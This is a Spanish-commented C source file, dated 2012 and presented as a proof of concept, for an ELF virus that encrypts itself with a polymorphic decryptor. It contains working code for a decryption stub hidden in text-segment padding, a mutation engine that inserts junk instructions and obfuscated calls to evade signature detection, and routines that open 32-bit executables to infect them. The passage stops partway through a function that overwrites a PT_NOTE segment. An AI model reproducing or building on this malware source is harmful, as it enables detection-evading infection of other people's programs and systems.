/*
* Prueba de concepto: cifrado con código polimórfico.
* Copyright (C) 2012 Gonzalo J. Carracedo
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your OPERATION) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <sys/syscall.h>
#include <sys/types.h>
#include <elf.h>
#include <stdint.h>
#include <stdlib.h>
#include <alloca.h>
#define DEBUG(x) write (1, x, sizeof (x) - 1)
/* Los includes pueden llegar a ser muy molestos. */
#define O_RDWR 02
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Seek from end of file. */
/* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
cadena más o menos segura y es realmente complicada encontrarla por ca-
sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
coincidencia).
Para separar la rutina de desencriptado en el relleno del segmento de
texto del resto del código, he utilizado el marcador GURB, que también
es complicado de encontrar en cualquier binario. */
#define BOTTOM_MARKER_LOW 0x504b
#define BOTTOM_MARKER_HIGH 0x5841
#define TOP_MARKER_LOW BOTTOM_MARKER_LOW
#define TOP_MARKER_HIGH BOTTOM_MARKER_HIGH
#define MIDDLE_MARKER_LOW 0x5547
#define MIDDLE_MARKER_HIGH 0x4252
#define MIDDLE_MARKER 0x42525547
#define BOTTOM_MARKER 0x5841504b
#define TOP_MARKER BOTTOM_MARKER
#define NOT_INFECTED_MAGIC 0xaaaaaaaa
#define RETADDR_OFFSET 1
#define CRYPTO_ADDR_OFFSET 7
#define CRYPTO_SEED_OFFSET 12
#define PAYLOAD_EP_OFFSET 36
/* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
/* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
sustituirá por la cadena "palabra" */
#define _STRINGIFY(x) #x
#define STRINGIFY(x) _STRINGIFY (x)
/* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
el flag "a" le obliga a que la sección se cargue en memoria */
asm (".section .code_bottom, \\"xa\\"");
asm (".long " STRINGIFY (BOTTOM_MARKER));
asm ("crypto_entry:");
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección de retorno */
asm (" pusha");
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección virtual a descifrar */
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la semilla */
asm (" call insitu_decrypt");
asm (" add $4, %esp");
asm (" pop %eax");
asm (" addl $" STRINGIFY (PAYLOAD_EP_OFFSET) ", %eax");
asm (" call *%eax");
asm (" popa");
asm (" ret");
asm ("decrypted_entry:");
asm (" jmp payload"); /* Este es el punto de entrada del código desencriptado */
inline void insitu_decrypt (int, uint32_t) __attribute__ ((section (".code_bottom")));
inline char lfsr (int *);
inline void
insitu_decrypt (int seed, uint32_t addr_start)
{
uint32_t addr_end;
addr_end = addr_start + 8191; /* supondremos que el código cabe en una página */
char *ptr = NULL;
for (; addr_start <= addr_end; addr_start++)
ptr[addr_start] ^= lfsr (&seed);
}
inline char
lfsr (int *reg)
{
unsigned int tmp;
char result;
/* I\'m taking these taps:
3 29 */
tmp = *reg;
tmp >>= 1;
tmp |= (!!(*reg & (1 << 2)) ^ !!(*reg & (1 << 28)) ^ 1) << 31;
return (*reg = tmp) >> 8;
}
asm (".section .text");
asm (".long " STRINGIFY (MIDDLE_MARKER));
asm (".section .code_top, \\"xa\\"");
asm (".long " STRINGIFY (TOP_MARKER));
/* Vamos a necesitar, por lo menos, todas estas syscalls:
write, read, open, close y lseek */
int
write (int fd, const void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
return ret;
}
static inline int
read (int fd, void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_read), "S" (fd), "c" (buf), "d" (size) :
"memory"); /* read modifica la memoria */
return ret;
}
static inline unsigned int
times (void)
{
int ret;
asm volatile ("push %%ebx\\n"
"xor %%ebx, %%ebx\\n"
"int $0x80\\n"
"pop %%ebx" : "=a" (ret) :
"a" (__NR_times) );
return ret;
}
static inline int
lseek (int fd, int offset, int whence)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
return ret;
}
static int
open (const char *path, int mode)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_open), "S" (path), "c" (mode));
return ret;
}
static int
close (int fd)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_close), "S" (fd));
return ret;
}
/* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
muy útil para depurar. */
void
long2hex (unsigned int number, char *buf)
{
int i;
char hexa[] = "0123456789abcdef";
buf[8] = 0;
for (i = 0; i < 8; i++)
{
buf[7 - i] = hexa[number & 0xf];
number >>= 4;
}
}
/* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
del %eip mediante un call (ya que no podemos calcular las direcciones de
nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
hacia arriba o hacia abajo hasta encontrarlos */
void
get_code_limits (uint32_t *bottom, uint32_t *middle, uint32_t *top)
{
int i;
uint32_t this_addr;
/* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
de código en la que me hallo. El popl %0 saca la dirección de retorno
que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
inline assembly de GCC */
/* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
que llamé 1 y que está hacia adelante. Esto de utilizar números para
etiquetas se suele hacer mucho cuando la etiqueta hace referencia
a un cacho de código que no está especialmente diferenciado del resto. */
asm volatile ("call 1f\\n"
"1:\\n"
"popl %0\\n" : "=g" (this_addr));
/* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
últimos bits a cero. */
this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
this_addr = this_addr & 0xfffffffc que es un and
en binario con todo 1 menos los dos últimos bits,
esto fuerza a que el número esté alineado a 4. */
/* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
El marcador está hacia "atrás", o sea que recorreremos la memoria
restando. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
{
*bottom = i;
break;
}
}
/* Búsqueda del marcador superior, ahora tenemos que dar saltos en
nuestra memoria hacia adelante, sumando. */
for (i = this_addr; ; i += 4)
{
if (*(uint16_t *) i == TOP_MARKER_LOW)
if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
{
*top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
4 bytes) también pertenece al código. */
break;
}
}
/* Y búsqueda por último del marcador medio. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == MIDDLE_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == MIDDLE_MARKER_HIGH) /* Y luego la baja */
{
*middle = i;
break;
}
}
}
/* He aquí el generador polimórfico. Como dije, es algo inocente, pero servirá.
para ilustrar el concepto general del funcionamiento de este tipo de técnica.*/
/* El código que tenemos que ofuscar es este:
080480fc <crypto_entry>:
80480fc: 68 aa aa aa aa push $0xaaaaaaaa
8048101: 60 pusha
8048102: 68 aa aa aa aa push $0xaaaaaaaa
8048107: 68 aa aa aa aa push $0xaaaaaaaa
804810c: e8 10 00 00 00 call 8048121 <insitu_decrypt>
8048111: 83 c4 04 add $0x4,%esp
8048114: 58 pop %eax
8048115: 83 c0 24 add $0x24,%eax
8048118: ff d0 call *%eax
804811a: 61 popa
804811b: c3 ret
08048121 <insitu_decrypt>:
8048121: 57 push %edi
8048122: 56 push %esi
8048123: 8b 54 24 0c mov 0xc(%esp),%edx
8048127: 8b 44 24 10 mov 0x10(%esp),%eax
804812b: 8d b8 ff 1f 00 00 lea 0x1fff(%eax),%edi
8048133: 39 f8 cmp %edi,%eax
8048135: 77 2e ja 8048165 <insitu_decrypt+0x44>
8048137: 89 d6 mov %edx,%esi
8048139: d1 ee shr %esi
804813b: f6 c2 04 test $0x4,%dl
804813e: 0f 95 c1 setne %cl
8048141: 0f b6 c9 movzbl %cl,%ecx
8048144: f7 c2 00 00 00 10 test $0x10000000,%edx
804814a: 0f 94 c2 sete %dl
804814d: 0f b6 d2 movzbl %dl,%edx
8048150: 31 d1 xor %edx,%ecx
8048152: c1 e1 1f shl $0x1f,%ecx
8048155: 09 f1 or %esi,%ecx
8048157: 89 ca mov %ecx,%edx
8048159: c1 f9 08 sar $0x8,%ecx
804815c: 30 08 xor %cl,(%eax)
804815e: 83 c0 01 add $0x1,%eax
8048161: 39 c7 cmp %eax,%edi
8048163: 73 d2 jae 8048137 <insitu_decrypt+0x16>
8048165: 5e pop %esi
8048166: 5f pop %edi
8048167: c3 ret
*/
#define POLYMORPHIC_ACTION_PUSH 1
#define POLYMORPHIC_ACTION_INST 2
#define POLYMORPHIC_ACTION_FIX 3
#define POLYMORPHIC_ACTION_JAE 4
#define POLYMORPHIC_ACTION_JA 5
#define POLYMORPHIC_ACTION_CALL 6
#define STRATEGY_OPERATION_ADD 0
#define STRATEGY_OPERATION_SUB 1
#define STRATEGY_OPERATION_XOR 2
#define STRATEGY_OPERATION_ROR 3
#define STRATEGY_OPERATION_ROL 4
#define MAX_STRATEGY_OPERATIONS 5
#define MAX_STRATEGY_SIZE 8
#define REG_EAX 0
#define REG_EBX 1
#define REG_ECX 2
#define REG_EDX 3
#define REG_ESI 4
#define REG_EDI 5
#define REG_EBP 6
#define MAX_REGS 7
#define INST_PAD_NONE 0 /* Sin relleno */
#define INST_PAD_NOP 1 /* Relleno con 1 nop */
#define INST_PAD_ADD 2 /* Add + Sub (12 bytes) */
#define INST_PAD_SUB 3 /* Sub + Add (12 bytes) */
#define INST_PAD_XOR 4 /* Xor + Xor (12 bytes) */
#define INST_PAD_ROR 5 /* Ror + Rol (6 bytes) */
#define INST_PAD_ROL 6 /* Rol + Ror (6 bytes) */
#define INST_PAD_PUSHPOP 7 /* Push + pop (2 bytes) */
#define MAX_PAD_TYPES 8
#define ROR(what, times) __asm__ __volatile__ ("rorl %%cl, %%eax" : "=a" (what) : "c" (times), "a" (what))
#define ROL(what, times) __asm__ __volatile__ ("roll %%cl, %%eax" : "=a" (what) : "c" (times), "a" (what))
#define FAST_MEMCPY(to, from, size) \\
asm volatile ("push %%ecx\\npush %%esi\\npush %%edi\\nrep movsb\\npopl %%edi\\npopl %%esi\\npopl %%ecx" :: \\
"S" (from), "D" (to), "c" (size) : "memory")
struct polymorphic_action
{
int type;
int subtype; /* Esto para los calls, jmps e instrucciones, tiene
varios significados */
int size;
uint32_t value;
int reg;
uint32_t strategy_ops[MAX_STRATEGY_SIZE];
uint32_t strategy_params[MAX_STRATEGY_SIZE];
char bytes[8]; /* Esto es para las instrucciones */
off_t offset; /* Esto lo utilizaré para calcular los desplazamientos de los jmps */
};
size_t
estimate_action_size (struct polymorphic_action *action)
{
size_t size = 0;
int pad_sizes[] = {0, 1, 12, 12, 12, 6, 6, 2};
int j;
switch (action->type)
{
case POLYMORPHIC_ACTION_PUSH:
if (action->size == 0)
size += 5; /* pushl IMM */
else
{
size += 6;
/* movl IMM, reg + push reg */
for (j = 0; j < action->size; j++)
if (action->strategy_ops[j] <= STRATEGY_OPERATION_XOR)
size += 6; /* Los XOR/ADD/SUB ocupan 6 bytes */
else
size += 3; /* Los ROR / ROL sólo 3 */
}
break;
case POLYMORPHIC_ACTION_CALL:
size += action->subtype ? 15 : 5; /* El call ofuscado es bastante grande */
break;
case POLYMORPHIC_ACTION_JA:
case POLYMORPHIC_ACTION_JAE:
size += 6;
break;
case POLYMORPHIC_ACTION_FIX:
size += action->size;
break;
case POLYMORPHIC_ACTION_INST:
size += action->size + pad_sizes[action->subtype];
}
return size;
}
size_t
polymorphic_update_offsets (struct polymorphic_action *list, int num)
{
size_t size = 0;
int i;
for (i = 0; i < num; i++)
{
list[i].offset = size;
size += estimate_action_size (list + i);
}
return size;
}
int
gen_decryptor (int crypseed, uint32_t ret_addr, uint32_t seg_addr, size_t max_size, char *buffer)
{
int i;
int j;
int seed;
int list_size;
char reg_cpu_idx[] = {0, 3, 1, 2, 6, 7, 5};
char clear_regs[] = {0xc0, 0xdb, 0xc9, 0xd2, 0xf6, 0xff, 0xed};
off_t tmp;
char sbuffer[9];
size_t total_size;
off_t p;
struct polymorphic_action old;
struct polymorphic_action template[] =
{
{POLYMORPHIC_ACTION_PUSH, 0, 0, ret_addr, 0, {}, {}, {} , 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x60", 0},
{POLYMORPHIC_ACTION_PUSH, 0, 0, seg_addr, 0, {}, {}, {} , 0},
{POLYMORPHIC_ACTION_PUSH, 0, 0, crypseed, 0, {}, {}, {} , 0},
{POLYMORPHIC_ACTION_CALL, 0, 0, 11, 0, {}, {}, {} , 0}, /* call insitu decrypt */
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x83\\xc4\\x04", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x58", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x83\\xc0\\x24", 0},
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\xff\\xd0", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x61", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\xc3", 0},
/* insitu_decrypt comienza aquí:*/
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x57", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x56", 0},
{POLYMORPHIC_ACTION_INST, 0, 4, 0, 0, {}, {}, "\\x8b\\x54\\x24\\x0c", 0},
{POLYMORPHIC_ACTION_INST, 0, 4, 0, 0, {}, {}, "\\x8b\\x44\\x24\\x10", 0},
{POLYMORPHIC_ACTION_INST, 0, 6, 0, 0, {}, {}, "\\x8d\\xb8\\xff\\x1f\\x00\\x00", 0},
{POLYMORPHIC_ACTION_FIX , 0, 2, 0, 0, {}, {}, "\\x39\\xf8", 0},
{POLYMORPHIC_ACTION_JA , 0, 1, 35, 0, {}, {}, {}}, /* First JA */
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\x89\\xd6", 0},
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\xd1\\xee", 0},
{POLYMORPHIC_ACTION_FIX, 0, 3, 0, 0, {}, {}, "\\xf6\\xc2\\x04", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x0f\\x95\\xc1", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x0f\\xb6\\xc9", 0},
{POLYMORPHIC_ACTION_FIX, 0, 6, 0, 0, {}, {}, "\\xf7\\xc2\\x00\\x00\\x00\\x10", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x0f\\x94\\xc2", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x0f\\xb6\\xd2", 0},
/* En general, debemos tener cuidado con lo que hacemos después de los test y cmp,
ya que podemos modificar algún flag importante del procesador sin quererlo,
modificando con ello el funcionamiento de las instrucciones condicionales,
como ja, jae, sete o setne. Por eso marco esos test/cmp como FIX. */
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\x31\\xd1", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\xc1\\xe1\\x1f", 0},
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\x09\\xf1", 0},
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\x89\\xca", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\xc1\\xf9\\x08", 0},
{POLYMORPHIC_ACTION_INST, 0, 2, 0, 0, {}, {}, "\\x30\\x08", 0},
{POLYMORPHIC_ACTION_INST, 0, 3, 0, 0, {}, {}, "\\x83\\xc0\\x01", 0},
{POLYMORPHIC_ACTION_FIX, 0, 2, 0, 0, {}, {}, "\\x39\\xc7", 0},
{POLYMORPHIC_ACTION_JAE , 0, 0, 18, 0, {}, {}, {}, 0}, /* JAE */
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x5e", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\x5f", 0},
{POLYMORPHIC_ACTION_INST, 0, 1, 0, 0, {}, {}, "\\xc3", 0},
};
seed = times ();
/* Primero, vamos a ofuscar todos los PUSH y los CALL. Esto es necesario. */
list_size = sizeof (template) / sizeof (struct polymorphic_action);
for (i = 0; i < list_size; i++)
{
switch (template[i].type)
{
case POLYMORPHIC_ACTION_PUSH:
template[i].size = (unsigned int) lfsr (&seed) % MAX_STRATEGY_SIZE;
for (j = 0; j < template[i].size; j++)
{
template[i].strategy_ops[j] = (unsigned int) lfsr (&seed) % MAX_STRATEGY_OPERATIONS;
template[i].strategy_params[j] = lfsr (&seed);
template[i].reg = (unsigned int) lfsr (&seed) % MAX_REGS;
if (i == 0 && template[i].reg == REG_EDX)
{
/* Esto por alguna misteriosa razón falla, o sea que vamos
a mover EDX a EBP */
template[i].reg = REG_EBP;
}
switch (template[i].strategy_ops[j])
{
case STRATEGY_OPERATION_ADD:
template[i].value += template[i].strategy_params[j];
break;
case STRATEGY_OPERATION_SUB:
template[i].value -= template[i].strategy_params[j];
break;
case STRATEGY_OPERATION_XOR:
template[i].value ^= template[i].strategy_params[j];
break;
case STRATEGY_OPERATION_ROR:
ROR (template[i].value, template[i].strategy_params[j]);
break;
case STRATEGY_OPERATION_ROL:
ROL (template[i].value, template[i].strategy_params[j]);
break;
}
}
break;
case POLYMORPHIC_ACTION_CALL:
template[i].subtype = lfsr (&seed) & 1;
template[i].reg = (unsigned int) lfsr (&seed) % MAX_REGS;
break;
/* Vamos a barajar dos tipos de call. Un call normal, y un call ofuscado.
El call ofuscado tiene la siguiente forma:
80483d8: e8 00 00 00 00 call 80483dd <main+0x9>
80483dd: 58 pop %eax
80483de: 83 c0 0a add $0xa,%eax
80483e1: 50 push %eax
80483e2: e9 08 00 00 00 jmp 80483ef <hola>
También es muy inocente, pero ayuda a liar las cosas, y añade una
variabilidad extra al tamaño del código */
}
}
/* ¿Hemos sido capaces de generar un código polimórfico de tamaño deseado */
if ((total_size = polymorphic_update_offsets (template, list_size)) > max_size)
return -1; /* No */
/* Ahora es cuando empezamos a enguarrar el código con rellenos de todo tipo hasta que
simplemente no quepa más. El verdadero algoritmo de mutación es este. */
for (j = 0; j < 10; j++)
{
do
i = (unsigned int) lfsr (&seed) % list_size;
while (template[i].type != POLYMORPHIC_ACTION_INST);
if (template[i].subtype)
continue;
j = 0;
old = template[i];
total_size -= estimate_action_size (&old);
template[i].subtype = (unsigned int) lfsr (&seed) % MAX_PAD_TYPES;
template[i].reg = (unsigned int) lfsr (&seed) % MAX_REGS;
template[i].value = lfsr (&seed);
total_size += estimate_action_size (&template[i]);
/* ¿Esta mutación se pasa de la raya? */
if (total_size > max_size)
{
/* Pues sí, es momento de parar */
template[i] = old;
break;
}
}
/* Y ahora sólo queda compilar esto. Actualizaremos los offsets de paso: */
(void) polymorphic_update_offsets (template, list_size);
p = 0;
for (i = 0; i < list_size; i++)
{
switch (template[i].type)
{
case POLYMORPHIC_ACTION_PUSH:
/* Si el tamaño de la estrategia es cero, es que no hay transformación: */
if (template[i].size == 0)
{
buffer[p++] = 0x68;
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
}
else /* En caso contrario, hay que deshacer */
{
/* Primero, el mov: */
buffer[p++] = 0xb8 + reg_cpu_idx[template[i].reg];
/* Y el valor que copiamos */
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
/* Ahora, tenemos que recorrer la lista en orden inverso (ya
que tenemos que deshacer todo esto) */
for (j = template[i].size - 1; j >= 0 ; j--)
{
switch (template[i].strategy_ops[j])
{
case STRATEGY_OPERATION_ADD:
/* El ADD se invierte con un SUB */
buffer[p++] = 0x81;
buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
p += 4;
break;
case STRATEGY_OPERATION_SUB:
/* El SUB se invierte con un ADD */
buffer[p++] = 0x81;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
p += 4;
break;
case STRATEGY_OPERATION_XOR:
/* El XOR con XOR */
buffer[p++] = 0x81;
buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
p += 4;
break;
case STRATEGY_OPERATION_ROR:
/* El ROR con ROL */
buffer[p++] = 0xc1;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].strategy_params[j];
break;
case STRATEGY_OPERATION_ROL:
/* Y el ROL con ROR */
buffer[p++] = 0xc1;
buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].strategy_params[j];
break;
}
}
/* Y finalmente, el PUSH: */
buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
/* Esto es necesario, ya que al arranque todos los
registros deben permanecer a cero, y este push está antes
del pusha que salva el estado para poder pasar saltar al
código del ejecutable */
/*if (i == 0)
{
buffer[p++] = 0x31;
buffer[p++] = clear_regs[template[i].reg];
}*/
}
break;
case POLYMORPHIC_ACTION_CALL:
/* Aquí tenemos que decidir si hacemos el CALL grande o pequeño */
if (template[i].subtype)
{
/* Call grande: */
/*
80483d8: e8 00 00 00 00 call 80483dd <main+0x9>
80483dd: 58 pop %eax
80483de: 83 c0 0a add $0xa,%eax
80483e1: 50 push %eax
80483e2: e9 08 00 00 00 jmp 80483ef <hola>
*/
buffer[p++] = 0xe8;
buffer[p++] = 0x00;
buffer[p++] = 0x00;
buffer[p++] = 0x00;
buffer[p++] = 0x00;
buffer[p++] = 0x58 + reg_cpu_idx[template[i].reg];
buffer[p++] = 0x83;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
buffer[p++] = 0x0a;
buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
buffer[p++] = 0xe9;
tmp = template[template[i].value].offset - (p + 4);
FAST_MEMCPY (&buffer[p], &tmp, 4);
p += 4;
}
else
{
/* Call corto */
buffer[p++] = 0xe8;
tmp = template[template[i].value].offset - (p + 4);
FAST_MEMCPY (&buffer[p], &tmp, 4);
p += 4;
}
break;
case POLYMORPHIC_ACTION_JA:
buffer[p++] = 0x0f;
buffer[p++] = 0x87;
tmp = template[template[i].value].offset - (p + 4);
FAST_MEMCPY (&buffer[p], &tmp, 4);
p += 4;
break;
case POLYMORPHIC_ACTION_JAE:
buffer[p++] = 0x0f;
buffer[p++] = 0x83;
tmp = template[template[i].value].offset - (p + 4);
FAST_MEMCPY (&buffer[p], &tmp, 4);
p += 4;
break;
case POLYMORPHIC_ACTION_FIX:
case POLYMORPHIC_ACTION_INST:
FAST_MEMCPY (&buffer[p], template[i].bytes, template[i].size);
p += template[i].size;
/* Ahora, vamos a analizar el relleno */
switch (template[i].subtype)
{
case INST_PAD_NOP:
buffer[p++] = 0x90;
break;
case INST_PAD_ADD:
buffer[p++] = 0x81;
buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
buffer[p++] = 0x81;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
break;
case INST_PAD_SUB:
buffer[p++] = 0x81;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
buffer[p++] = 0x81;
buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
break;
case INST_PAD_XOR:
buffer[p++] = 0x81;
buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
buffer[p++] = 0x81;
buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
FAST_MEMCPY (&buffer[p], &template[i].value, 4);
p += 4;
break;
case INST_PAD_ROR:
buffer[p++] = 0xc1;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].value;
buffer[p++] = 0xc1;
buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].value;
break;
case INST_PAD_ROL:
buffer[p++] = 0xc1;
buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].value;
buffer[p++] = 0xc1;
buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
buffer[p++] = template[i].value;
break;
case INST_PAD_PUSHPOP:
buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
buffer[p++] = 0x58 + reg_cpu_idx[template[i].reg];
break;
}
}
}
return 0;
}
/* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
infectable */
int
open_elf (const char *path, Elf32_Ehdr *Ehdr)
{
int fd;
if ((fd = open (path, O_RDWR)) < 0)
return -1; /* Error al abrir */
if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
{
close (fd);
return -1; /* Error al leer la cabecera */
}
if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
Ehdr->e_ident[EI_MAG3] != ELFMAG3)
{
close (fd);
return -1; /* Números mágicos incorrectos */
}
if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
{
close (fd);
return -1; /* El ELF no es de 32 bits */
}
if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
{
close (fd);
return -1; /* El ELF no es little endian */
}
if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
{
close (fd);
return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
}
return fd;
}
/* Macro para alinear a tamaños */
#define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
int
get_gap_info (int fd, Elf32_Ehdr *Ehdr, int *idx, off_t *offset, uint32_t *vaddr, size_t *size)
{
int i;
int code_idx;
Elf32_Phdr phdr;
*idx = -1;
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
if (phdr.p_type == PT_LOAD)
if (phdr.p_flags & PF_X)
{
*idx = i;
break;
}
}
if (*idx == -1)
return -1;
*offset = phdr.p_offset + phdr.p_filesz;
*vaddr = phdr.p_vaddr + phdr.p_filesz;
*size = 4096 - (*vaddr & 0xfff);
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
/* ¿Está a caballo entre dos segmentos? */
if (phdr.p_type == PT_LOAD)
if (*offset <= phdr.p_offset && phdr.p_offset < *offset + *size)
*size = phdr.p_offset - *offset; /* Corregimos, no queremos chafar lo otro */
}
return 0;
}
/* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
/* TODO: hacerlo con mmaps, más rápido. */
int
replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *note_vaddr)
{
int i;
int note_idx;
Elf32_Phdr phdr;
uint32_t lowest_va;
lowest_va = 0xffffffff;
/* Este bucle me calcula la dirección más alta del programa, además de que
me busca el PT_NOTE. */
note_idx = -1;
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
if (phdr.p_type == PT_LOAD)
{
if (phdr.p_vaddr < lowest_va)
lowest_va = phdr.p_vaddr;
}
else if (phdr.p_type == PT_NOTE)
note_idx = i;
}
if (note_idx == -1)
return -1;
